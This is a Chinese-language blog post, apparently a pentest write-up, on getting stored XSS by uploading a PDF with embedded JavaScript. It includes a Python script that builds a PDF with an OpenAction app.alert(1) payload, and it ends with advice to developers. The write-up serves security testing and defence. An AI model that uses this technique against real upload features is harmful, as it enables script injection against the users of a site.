打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
PDF上传导致的存储型XSS
userphoto

2024.01.12 甘肃

关注

在测试Web应用程序时,发现存在文件上传功能。

尝试上传各种类型的文件,包括PHP文件,因为后端是用PHP编写的。不幸的是,都没有成功。

不过,我还是成功上传了一个PDF文件。认识到这一点,我进行了一些在线研究,发现可以将JavaScript代码注入PDF文件。

所以我需要在PDF文件中注入代码,如果网站没有做必要的检查,我们就有了一个存储型的XSS漏洞。我在网上找不到一个简单的XSS PDF。所以我决定编写一个Python脚本。此Python脚本将一个JavaScript代码嵌入到PDF中,在本例中为 app.alert(1) 。

下面是Python代码:

#<https://github.com/kaanatmacaa>
importsys
ifsys.version_info[0] <3:
   
raiseSystemExit('Use Python 3 (or higher) only')
importio
importbz2
importbase64

defcreate_malpdf1(filename):
   
withopen(filename,'w')asfile:
       file.write(
'''%PDF-1.7
       1 0 obj
       <</Pages 1 0 R /OpenAction 2 0 R>>
       2 0 obj
       <</S /JavaScript /JS (app.alert(1))
       >> trailer <</Root 1 0 R>>'''
)

if__name__ =='__main__':
   
print('Creating PDF files..')
   create_malpdf1(
'test.pdf')
   
print('Done!')

创建PDF文件后,我将其上传到Web应用程序,然后BOOM. 存储XSS成功触发了。

总之,用户和企业通常不会预料到PDF文档中的恶意脚本。开发人员应在其应用程序中对PDF文件实施必要的安全检查。此外,如果应用集成了第三方PDF文件阅读器,应实时更新这些组件。

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
超简单,只要27行Python代码,批量把ppt转换为pdf,实用
一次性将PDF文件导入InDesign
8个实现在线浏览PDF文件的实用jQuery插件
Python中if __name__ == '__main__':的作用和原理
入手爬虫利器:phantomjs+selenium、自动填充文本框、自动点按钮
Python怎么给PDF文件添加水印?Python如何像pdf中添加文字水印
更多类似文章 >>
生活服务
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服